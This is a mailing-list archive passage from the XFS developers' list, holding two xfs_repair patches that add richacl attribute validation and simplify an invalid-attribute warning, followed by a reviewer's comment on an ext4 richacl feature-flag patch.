No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 696FB29DFC for ; Fri, 23 Oct 2015 14:17:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 578E930404E for ; Fri, 23 Oct 2015 12:17:24 -0700 (PDT) X-ASG-Debug-ID: 1445627842-04cb6c7b863ea50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CPFT4Cd3IWmGmb3w (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 12:17:23 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 9EC2FA58BB; Fri, 23 Oct 2015 19:17:22 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NJH9ah000818; Fri, 23 Oct 2015 15:17:20 -0400 From: Andreas Gruenbacher To: xfs@oss.sgi.com, david@fromorbit.com Cc: Andreas Gruenbacher Subject: [PATCH 4/4] xfs_repair: Validate richacl attributes Date: Fri, 23 Oct 2015 21:17:08 +0200 X-ASG-Orig-Subj: [PATCH 4/4] xfs_repair: Validate richacl attributes Message-Id: <1445627828-14661-5-git-send-email-agruenba@redhat.com> In-Reply-To: <1445627828-14661-1-git-send-email-agruenba@redhat.com> References: <1445627828-14661-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445627843 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When we have the header and a working copy of librichacl.a (the static version of the richacl library), use that to validate richacl attribute values. Signed-off-by: Andreas Gruenbacher --- configure.ac | 22 ++++++++++++++++++++++ include/builddefs.in | 5 +++++ repair/Makefile | 2 +- repair/attr_repair.c | 41 ++++++++++++++++++++++++++++++++++++++++- 4 files changed, 68 insertions(+), 2 deletions(-) diff --git a/configure.ac b/configure.ac index 7b57521..2584ea2 100644 --- a/configure.ac +++ b/configure.ac @@ -101,6 +101,28 @@ AC_PACKAGE_GLOBALS(xfsprogs) AC_PACKAGE_UTILITIES(xfsprogs) AC_MULTILIB($enable_lib64) +have_richacl=no +librichacl= +AC_CHECK_HEADERS([sys/richacl.h]) +if test "$ac_cv_header_sys_richacl_h" = yes; then + AC_CHECK_HEADERS([linux/xattr.h]) + saved_LIBS=$LIBS + librichacl=-l:librichacl.a + LIBS="$LIBS $librichacl" + AC_COMPILE_IFELSE([AC_LANG_PROGRAM([ + #include + ],[ + int valid = richacl_valid((struct richacl *)0); + ])], [ + have_richacl=yes + ], [ + librichacl= + ]) + LIBS=$saved_LIBS +fi +AC_SUBST([have_richacl]) +AC_SUBST([librichacl]) + AC_PACKAGE_NEED_AIO_H AC_PACKAGE_NEED_LIO_LISTIO diff --git a/include/builddefs.in b/include/builddefs.in index c1797fd..b64e027 100644 --- a/include/builddefs.in +++ b/include/builddefs.in @@ -34,6 +34,7 @@ LIBTERMCAP = @libtermcap@ LIBEDITLINE = @libeditline@ LIBREADLINE = @libreadline@ LIBBLKID = @libblkid@ +LIBRICHACL = @librichacl@ LIBXFS = $(TOPDIR)/libxfs/libxfs.la LIBXCMD = $(TOPDIR)/libxcmd/libxcmd.la LIBXLOG = $(TOPDIR)/libxlog/libxlog.la @@ -108,6 +109,7 @@ HAVE_MNTENT = @have_mntent@ HAVE_FLS = @have_fls@ HAVE_FSETXATTR = @have_fsetxattr@ HAVE_MREMAP = @have_mremap@ +HAVE_RICHACL = @have_richacl@ GCCFLAGS = -funsigned-char -fno-strict-aliasing -Wall # -Wbitwise -Wno-transparent-union -Wno-old-initializer -Wno-decl @@ -147,6 +149,9 @@ endif ifeq ($(ENABLE_BLKID),yes) PCFLAGS+= -DENABLE_BLKID endif +ifeq ($(HAVE_RICHACL),yes) +PCFLAGS += -DHAVE_RICHACL +endif GCFLAGS = $(OPTIMIZER) $(DEBUG) \ diff --git a/repair/Makefile b/repair/Makefile index 251722b..032f453 100644 --- a/repair/Makefile +++ b/repair/Makefile @@ -20,7 +20,7 @@ CFILES = agheader.c attr_repair.c avl.c avl64.c bmap.c btree.c \ progress.c prefetch.c rt.c sb.c scan.c threads.c \ versions.c xfs_repair.c -LLDLIBS = $(LIBXFS) $(LIBXLOG) $(LIBUUID) $(LIBRT) $(LIBPTHREAD) +LLDLIBS = $(LIBXFS) $(LIBXLOG) $(LIBUUID) $(LIBRT) $(LIBPTHREAD) $(LIBRICHACL) LTDEPENDENCIES = $(LIBXFS) $(LIBXLOG) LLDFLAGS = -static-libtool-libs diff --git a/repair/attr_repair.c b/repair/attr_repair.c index e03f360..e7f03a8 100644 --- a/repair/attr_repair.c +++ b/repair/attr_repair.c @@ -26,6 +26,17 @@ #include "dir2.h" #include "da_util.h" +#ifdef HAVE_RICHACL +# if HAVE_LINUX_XATTR_H +# include +# endif +# ifndef XATTR_RICHACL +# define XATTR_RICHACL "richacl" +# endif + +# include +#endif + static int xfs_acl_valid(struct xfs_mount *mp, struct xfs_acl *daclp); static int xfs_mac_valid(xfs_mac_label_t *lp); @@ -195,6 +206,35 @@ valuecheck( if ( valuelen != sizeof(xfs_cap_set_t)) clearit = 1; } +#if HAVE_RICHACL + else if (namelen == strlen(XATTR_RICHACL) && + strncmp(namevalue, XATTR_RICHACL, strlen(XATTR_RICHACL)) == 0) { + struct richacl *acl; + + if (value == NULL) { + valuep = malloc(valuelen); + if (!valuep) + do_error(_("No memory for ACL check!\n")); + memcpy(valuep, namevalue + namelen, valuelen); + } else + valuep = value; + + acl = richacl_from_xattr(valuep, valuelen); + if (!acl) { + if (errno == ENOMEM) + do_error(_("No memory for ACL check!\n")); + else + clearit = 1; + } else { + if (richacl_valid(acl) != 0) + clearit = 1; + richacl_free(acl); + } + + if (valuep != value) + free(valuep); + } +#endif if (clearit) do_warn(_("entry contains illegal value in attribute named %.*s\n"), @@ -202,7 +242,6 @@ valuecheck( return(clearit); } - /* * this routine validates the attributes in shortform format. * a non-zero return repair value means certain attributes are bogus -- 2.5.0 From agruenba@redhat.com Fri Oct 23 14:17:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D870729DFE for ; Fri, 23 Oct 2015 14:17:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8848AAC001 for ; Fri, 23 Oct 2015 12:17:21 -0700 (PDT) X-ASG-Debug-ID: 1445627840-04bdf0330a41fd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 0ZEr5NDWsyha2JHW (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 12:17:20 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 46449C0A146B; Fri, 23 Oct 2015 19:17:20 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NJH9ag000818; Fri, 23 Oct 2015 15:17:18 -0400 From: Andreas Gruenbacher To: xfs@oss.sgi.com, david@fromorbit.com Cc: Andreas Gruenbacher Subject: [PATCH 3/4] xfs_repair: Improve warning for invalid attributes Date: Fri, 23 Oct 2015 21:17:07 +0200 X-ASG-Orig-Subj: [PATCH 3/4] xfs_repair: Improve warning for invalid attributes Message-Id: <1445627828-14661-4-git-send-email-agruenba@redhat.com> In-Reply-To: <1445627828-14661-1-git-send-email-agruenba@redhat.com> References: <1445627828-14661-1-git-send-email-agruenba@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445627840 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Include the attribute name in the warning as a printf parameter instead of hardcoding it for three different cases. Signed-off-by: Andreas Gruenbacher --- po/de.po | 18 +++--------------- po/pl.po | 14 +++----------- repair/attr_repair.c | 16 +++++----------- 3 files changed, 11 insertions(+), 37 deletions(-) diff --git a/po/de.po b/po/de.po index fc62525..e605c22 100644 --- a/po/de.po +++ b/po/de.po @@ -13543,21 +13543,9 @@ msgstr "" msgid "done\n" msgstr "erledigt\n" -#: .././repair/attr_repair.c:106 -msgid "" -"entry contains illegal value in attribute named SGI_ACL_FILE or " -"SGI_ACL_DEFAULT\n" -msgstr "" -"Eintrag enthält unerlaubten Wert im Attribut mit Namen SGI_ACL_FILE\n" -"oder SGI_ACL_DEFAULT\n" - -#: .././repair/attr_repair.c:128 -msgid "entry contains illegal value in attribute named SGI_MAC_LABEL\n" -msgstr "Eintrag enthält unerlaubten Wert im Attribut mit Namen SGI_MAC_LABEL\n" - -#: .././repair/attr_repair.c:134 -msgid "entry contains illegal value in attribute named SGI_CAP_FILE\n" -msgstr "Eintrag enthält unerlaubten Wert im Attribut mit Namen SGI_CAP_FILE\n" +#: .././repair/attr_repair.c:200 +msgid "entry contains illegal value in attribute named %.*s\n" +msgstr "Eintrag enthält unerlaubten Wert im Attribut mit Namen %.*s\n" #: .././repair/attr_repair.c:173 #, c-format diff --git a/po/pl.po b/po/pl.po index a950f77..46402f6 100644 --- a/po/pl.po +++ b/po/pl.po @@ -9078,17 +9078,9 @@ msgstr "" msgid "No memory for ACL check!\n" msgstr "Brak pamiÄ™ci na sprawdzenie ACL!\n" -#: .././repair/attr_repair.c:763 -msgid "entry contains illegal value in attribute named SGI_ACL_FILE or SGI_ACL_DEFAULT\n" -msgstr "wpis zawiera niedozwolonÄ… wartość w atrybucie SGI_ACL_FILE lub SGI_ACL_DEFAULT\n" - -#: .././repair/attr_repair.c:789 -msgid "entry contains illegal value in attribute named SGI_MAC_LABEL\n" -msgstr "wpis zawiera niedozwolonÄ… wartość w atrybucie SGI_MAC_LABEL\n" - -#: .././repair/attr_repair.c:795 -msgid "entry contains illegal value in attribute named SGI_CAP_FILE\n" -msgstr "wpis zawiera niedozwolonÄ… wartość w atrybucie SGI_CAP_FILE\n" +#: .././repair/attr_repair.c:200 +msgid "entry contains illegal value in attribute named %.*s\n" +msgstr "wpis zawiera niedozwolonÄ… wartość w atrybucie %.*s\n" #: .././repair/attr_repair.c:835 #, c-format diff --git a/repair/attr_repair.c b/repair/attr_repair.c index da2800d..e03f360 100644 --- a/repair/attr_repair.c +++ b/repair/attr_repair.c @@ -166,12 +166,8 @@ valuecheck( } else valuep = value; - if (xfs_acl_valid(mp, valuep) != 0) { + if (xfs_acl_valid(mp, valuep) != 0) clearit = 1; - do_warn( - _("entry contains illegal value in attribute named SGI_ACL_FILE " - "or SGI_ACL_DEFAULT\n")); - } if (valuep != value) free(valuep); @@ -194,17 +190,15 @@ valuecheck( * else clearit = 1; */ clearit = 1; - do_warn( - _("entry contains illegal value in attribute named SGI_MAC_LABEL\n")); } } else if (strncmp(namevalue, SGI_CAP_FILE, SGI_CAP_FILE_SIZE) == 0) { - if ( valuelen != sizeof(xfs_cap_set_t)) { + if ( valuelen != sizeof(xfs_cap_set_t)) clearit = 1; - do_warn( - _("entry contains illegal value in attribute named SGI_CAP_FILE\n")); - } } + if (clearit) + do_warn(_("entry contains illegal value in attribute named %.*s\n"), + namelen, namevalue); return(clearit); } -- 2.5.0 From ahferroin7@gmail.com Fri Oct 23 14:35:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 148CA7F92 for ; Fri, 23 Oct 2015 14:35:17 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8322AAC005 for ; Fri, 23 Oct 2015 12:35:16 -0700 (PDT) X-ASG-Debug-ID: 1445628909-04cb6c7b853ef00001-NocioJ Received: from mail-ig0-f171.google.com (mail-ig0-f171.google.com [209.85.213.171]) by cuda.sgi.com with ESMTP id jN0VXRMjmgkWcXwL (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 23 Oct 2015 12:35:10 -0700 (PDT) X-Barracuda-Envelope-From: ahferroin7@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.213.171 Received: by igdg1 with SMTP id g1so23454287igd.1 for ; Fri, 23 Oct 2015 12:35:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:to:references:cc:from:message-id:date:user-agent :mime-version:in-reply-to:content-type; bh=NGARuo/BUuROQ9cw1IYN37qTd3nJ940YAx2CHuF/ME0=; b=l2cRhihtfL5Nvo9sjtUwIo5vxDlG2t33PnNB5iXevqMp1J2zk9OlKydqfxAlceazT6 El8z+Enw9uKmOL5sNmTXrEc3d7qoDwFpzEef9caxxjWwTcg1ZtiQXaOHUCadYOXikkn5 QemNP1dziLY698bkfUIV8lC3iGCHhPrNsq63Ncowu3wWNVBAxrhpmo1NrjYxJhbyFBOB kI7RwzqgQ65CRENLfN1sAcj2EMtE6HJGS4dMu1/7fs1vylFQo3ivyRp73BzaPT28G8TG YMTa0BF5Vex8xj5UGqxY25mba/2+9g50P1XOQy63m34RkWh0Nw97DDgJVMzvxRUuirWe OhvQ== X-Received: by 10.50.62.212 with SMTP id a20mr3404899igs.12.1445628909700; Fri, 23 Oct 2015 12:35:09 -0700 (PDT) Received: from [127.0.0.1] (rrcs-70-62-41-24.central.biz.rr.com. [70.62.41.24]) by smtp.googlemail.com with ESMTPSA id f128sm8400989ioe.13.2015.10.23.12.35.08 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 23 Oct 2015 12:35:08 -0700 (PDT) Subject: Re: [PATCH v12 21/49] ext4: Add richacl feature flag To: Andreas Gruenbacher , Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org X-ASG-Orig-Subj: Re: [PATCH v12 21/49] ext4: Add richacl feature flag References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> <1445625722-13791-22-git-send-email-agruenba@redhat.com> Cc: "Aneesh Kumar K.V" From: Austin S Hemmelgarn Message-ID: <562A8BC4.9050107@gmail.com> Date: Fri, 23 Oct 2015 15:34:28 -0400 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <1445625722-13791-22-git-send-email-agruenba@redhat.com> Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha-512; boundary="------------ms080705010605070208000902" X-Antivirus: avast! (VPS 151023-0, 2015-10-23), Outbound message X-Antivirus-Status: Clean X-Barracuda-Connect: mail-ig0-f171.google.com[209.85.213.171] X-Barracuda-Start-Time: 1445628910 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23758 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a cryptographically signed message in MIME format. --------------ms080705010605070208000902 Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: quoted-printable On 2015-10-23 14:41, Andreas Gruenbacher wrote: > From: "Aneesh Kumar K.V" > > This feature flag selects richacl instead of posix acl support on the > file system. In addition, the "acl" mount option is needed for enabling= > either of the two kinds of acls. > > Signed-off-by: Aneesh Kumar K.V > Signed-off-by: Andreas Gruenbacher > --- > fs/ext4/ext4.h | 6 ++++-- > fs/ext4/super.c | 49 ++++++++++++++++++++++++++++++++++++++++--------= - > 2 files changed, 44 insertions(+), 11 deletions(-) > > diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h > index fd1f28b..b97a3b1 100644 > --- a/fs/ext4/ext4.h > +++ b/fs/ext4/ext4.h > @@ -991,7 +991,7 @@ struct ext4_inode_info { > #define EXT4_MOUNT_UPDATE_JOURNAL 0x01000 /* Update the journal forma= t */ > #define EXT4_MOUNT_NO_UID32 0x02000 /* Disable 32-bit UIDs */ > #define EXT4_MOUNT_XATTR_USER 0x04000 /* Extended user attributes */= > -#define EXT4_MOUNT_POSIX_ACL 0x08000 /* POSIX Access Control Lists */= > +#define EXT4_MOUNT_ACL 0x08000 /* Access Control Lists */ > #define EXT4_MOUNT_NO_AUTO_DA_ALLOC 0x10000 /* No auto delalloc mappi= ng */ > #define EXT4_MOUNT_BARRIER 0x20000 /* Use block barriers */ > #define EXT4_MOUNT_QUOTA 0x80000 /* Some quota option set */ > @@ -1582,6 +1582,7 @@ static inline int ext4_encrypted_inode(struct ino= de *inode) > #define EXT4_FEATURE_INCOMPAT_LARGEDIR 0x4000 /* >2GB or 3-lvl htree= */ > #define EXT4_FEATURE_INCOMPAT_INLINE_DATA 0x8000 /* data in inode */ > #define EXT4_FEATURE_INCOMPAT_ENCRYPT 0x10000 > +#define EXT4_FEATURE_INCOMPAT_RICHACL 0x20000 > > #define EXT2_FEATURE_COMPAT_SUPP EXT4_FEATURE_COMPAT_EXT_ATTR > #define EXT2_FEATURE_INCOMPAT_SUPP (EXT4_FEATURE_INCOMPAT_FILETYPE| \= > @@ -1607,7 +1608,8 @@ static inline int ext4_encrypted_inode(struct ino= de *inode) > EXT4_FEATURE_INCOMPAT_FLEX_BG| \ > EXT4_FEATURE_INCOMPAT_MMP | \ > EXT4_FEATURE_INCOMPAT_INLINE_DATA | \ > - EXT4_FEATURE_INCOMPAT_ENCRYPT) > + EXT4_FEATURE_INCOMPAT_ENCRYPT | \ > + EXT4_FEATURE_INCOMPAT_RICHACL) If this is going to be an incompat feature, the reasoning for that being = the case should be clearly documented in either the changelog or the=20 code itself. While the people involved in the discussion of this may=20 understand the reasoning, that doesn't mean any arbitrary individual=20 will at some point in the future, and documenting it properly will save=20 time for people trying to figure out why this non-obvious choice was made= =2E --------------ms080705010605070208000902 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature 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 cnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcN AQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DANBglghkgBZQMEAgMFAKCCAiEwGAYJKoZI hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTUxMDIzMTkzNDI4WjBPBgkq hkiG9w0BCQQxQgRAKzJE6TrqS+nVHg0z3llM2+AWDDsIDdjNXYLE0ittjvZPB3n9yOMIQs33 +PZ6gsTcpZNBJADuLk0W5O50aI5plTBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGRBgkrBgEEAYI3EAQxgYMwgYAweTEQMA4GA1UE ChMHUm9vdCBDQTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlD QSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2Vy dC5vcmcCAxEt+DCBkwYLKoZIhvcNAQkQAgsxgYOggYAweTEQMA4GA1UEChMHUm9vdCBDQTEe MBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25p bmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DAN BgkqhkiG9w0BAQEFAASCAgCW2z2/q7q6JmwdOMf5vKRxmt5yOmpJnPH2yv11ZlHsZe578l3b txmroSRzIgKUjbLWpHa3aA0EXHdcEFNimHJP0uUGj58tuCUz3GJ1PjdX2MZxbCwv7lZHsjyG VHVdeXkyNzYytGo0riZDjmG4JEOl16d7GrOJ+Y1DTM6n8uiOr0E1hDNaxtEpVlo+nmzlxQs8 aFKhd7YiA2i7pvArfimcI4E3d2YSX8xaK1rWSo5LSkbe7HcDfW6bGLcf7jft0u93sdo9y877 j62VP2MQlKXsDzCwWBivpZzDd4ecnYc3qZ8bGEVEZDLpm0kV8xrLhZ5TePMpRb4FMOAz4yBm LHVuaIhdGxCGVACV2JUFnKbCNEiBDcEjBQNOB4pOcPalUULrceohgxdZJ32mnSPpFVR5lxDz 3LWPJwCfbvnyU6QEPyjdj9CLnZbP4+Nxuuy8/Z/F6ocC/DSeTKWB/IodZduUpSr8rGCYzyCI EpJ0OQro+E8WvvyDbvHcikw4eYrR2aMHXIjiPxCNnpcDWD7fy9WUoyz8ohUR8Spg1x4gWqmv NzHF4Du8QCv71DcNNM4oWTfzTOogG7N4EhZeFTNYQD2y0zXK0W2P2HazjrWzrt9TEmq0/171 ueqJOo4esoJg/NR/iLLnCFSftXn8Od1/gn5t//RMvUsmyWS+IltG5x4tIAAAAAAAAA== --------------ms080705010605070208000902-- From ffilzlnx@mindspring.com Fri Oct 23 15:05:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.6 required=5.0 tests=HK_RANDOM_ENVFROM, HK_RANDOM_FROM autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 95ECA7F53 for ; Fri, 23 Oct 2015 15:05:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 853EC30404E for ; Fri, 23 Oct 2015 13:05:21 -0700 (PDT) X-ASG-Debug-ID: 1445630716-04cbb0660e40c20001-NocioJ Received: from elasmtp-dupuy.atl.sa.earthlink.net (elasmtp-dupuy.atl.sa.earthlink.net [209.86.89.62]) by cuda.sgi.com with ESMTP id LpD5ETgQgEDGNzjJ for ; Fri, 23 